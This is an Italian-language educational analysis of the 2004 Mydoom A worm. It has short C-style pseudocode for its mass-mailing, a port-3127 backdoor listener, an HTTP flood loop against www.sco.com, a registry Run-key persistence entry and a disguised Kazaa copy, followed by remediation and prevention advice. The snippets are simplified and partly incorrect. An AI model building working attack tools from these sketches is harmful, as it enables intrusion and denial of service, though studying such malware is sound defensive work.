BW3 Analisi Completa del Malware Mydoom A (Versione Originale - 2004)

Introduzione

⚜️ **Tag:** #malware #worm #cybersecurity

Scoperto nel gennaio 2004, il malware Mydoom è stato uno dei worm più distruttivi della sua epoca. Le sue capacità includevano la diffusione rapida tramite email, l'apertura di una backdoor, l'esecuzione di attacchi DoS contro siti web specifici, modifiche al registro di sistema per la persistenza e la diffusione tramite la rete peer-to-peer (P2P) Kazaa.

Diffusione tramite Email

⚜️ **Tag:** #email #cybersecurity #ingegneriaSociale

Descrizione: Mydoom utilizzava un motore SMTP interno per inviare email infette a tutti i contatti trovati nei file locali dell'utente.
Esempio di Pseudocodice:

```
void send_infected_email(char *recipient) {
    char *subject = "Mail Delivery Failed";
    char *body = "Please see the attached file.";
    char *attachment = "document.zip";  // Allegato infetto
    smtp_send(recipient, subject, body, attachment);
}
```

Backdoor su Porta 3127

⚜️ **Tag:** #backdoor #porta3127 #attaccoRemoto

Descrizione: Mydoom apriva una backdoor sulla porta TCP 3127, permettendo all'attaccante di accedere al sistema infetto da remoto.
Esempio di Pseudocodice:

```
int open_backdoor() {
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    struct sockaddr_in servaddr;
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    servaddr.sin_port = htons(3127);
    bind(sockfd, (struct sockaddr*)&servaddr,
sizeof(servaddr));
    listen(sockfd, 5);

    while (1) {
        int connfd = accept(sockfd, (struct sockaddr*)NULL,
NULL);
        handle_remote_commands(connfd);  // Esegue comandi
remoti
    }
}
```

Attacco DoS Programmato

⚜️ **Tag:** #DoS #attaccoHTTP #cybersecurity

Descrizione: Mydoom includeva un payload DoS per attaccare il sito www.sco.com a partire dal 1° febbraio 2004.
Esempio di Pseudocodice:

```
void launch_dos_attack() {
    struct sockaddr_in target;
    target.sin_family = AF_INET;
    target.sin_port = htons(80);  // Porta HTTP standard
```

```
    inet_pton(AF_INET, "www.sco.com", &target.sin_addr);

    while (1) {
        int sockfd = socket(AF_INET, SOCK_STREAM, 0);
        connect(sockfd, (struct sockaddr*)&target,
sizeof(target));
        send(sockfd, "GET / HTTP/1.1\r\n\r\n", 18, 0);  //
Richiesta HTTP
        close(sockfd);
    }
}
```

Modifiche al Registro di Sistema

⚜️ **Tag:** #persistenza #registroDiSistema #cybersecurity

Descrizione: Mydoom aggiungeva voci al registro di sistema di Windows per garantirsi l'esecuzione automatica a ogni avvio del sistema.
Esempio di Pseudocodice:

```
void add_registry_entry() {
    HKEY hKey;
    RegOpenKey(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
&hKey);
    RegSetValueEx(hKey, "TaskMon", 0, REG_SZ,
(BYTE*)"C:\\Windows\\System32\\taskmon.exe",
strlen("C:\\Windows\\System32\\taskmon.exe"));
    RegCloseKey(hKey);
}
```

Diffusione tramite Kazaa (P2P)

⚜️ **Tag:** #P2P #Kazaa #ingegneriaSociale

Descrizione: Mydoom copiava se stesso nella cartella condivisa di Kazaa, permettendo la diffusione tramite rete peer-to-peer.
Esempio di Pseudocodice:

```
void copy_to_kazaa_share() {
    char *src = "C:\\Windows\\System32\\mydoom.exe";
    char *dest = "C:\\Program Files\\Kazaa\\My Shared
Folder\\important_document.exe";
    CopyFile(src, dest, FALSE);
}
```

Conclusioni

⚜️ **Tag:** #conclusioni #malwareAnalysis

Queste funzionalità rendono Mydoom un malware efficace e persistente, con un alto potenziale di danno grazie alla combinazione di metodi di diffusione, attacco DoS e persistenza.

Conclusioni e Rimedi - Conclusions and Remedies

⚜️ **Tag:** #conclusioni #rimedi #prevenzione

L’analisi del Mydoom originale dimostra come questo worm utilizzi un set mirato di funzionalità per la diffusione e il controllo remoto. In particolare, la combinazione di diffusione tramite email e DoS programmato ha creato danni significativi.

Rimedi in caso di infezione:

- **Isolamento del sistema**: Disconnettere immediatamente il computer dalla rete per impedire ulteriori diffusioni e accessi non autorizzati.
- **Utilizzo di software antivirus aggiornati**: Eseguire una scansione completa del sistema con un antivirus aggiornato per rilevare e rimuovere il malware.
- **Verifica delle porte aperte**: Controllare le porte di rete aperte, in particolare la porta **3127**, e chiuderle se non necessarie.
- **Ripristino da backup**: Se possibile, ripristinare il sistema da un backup precedente all'infezione.

Prevenzione dell’infezione:

- **Aggiornamenti regolari**: Mantenere il sistema operativo e il software sempre aggiornati con le ultime patch di sicurezza.
- **Cautela con le email sospette**: Non aprire allegati o cliccare su link in email provenienti da mittenti sconosciuti o con contenuti sospetti.
- **Utilizzo di software di sicurezza**: Installare e mantenere aggiornati antivirus, firewall e altri strumenti di sicurezza.
- **Formazione degli utenti**: Educare gli utenti sulle pratiche di sicurezza informatica e sui rischi associati all'apertura di email non verificate.

🔑 **Chiavi:**
malware, worm, email, backdoor, DoS, Kazaa
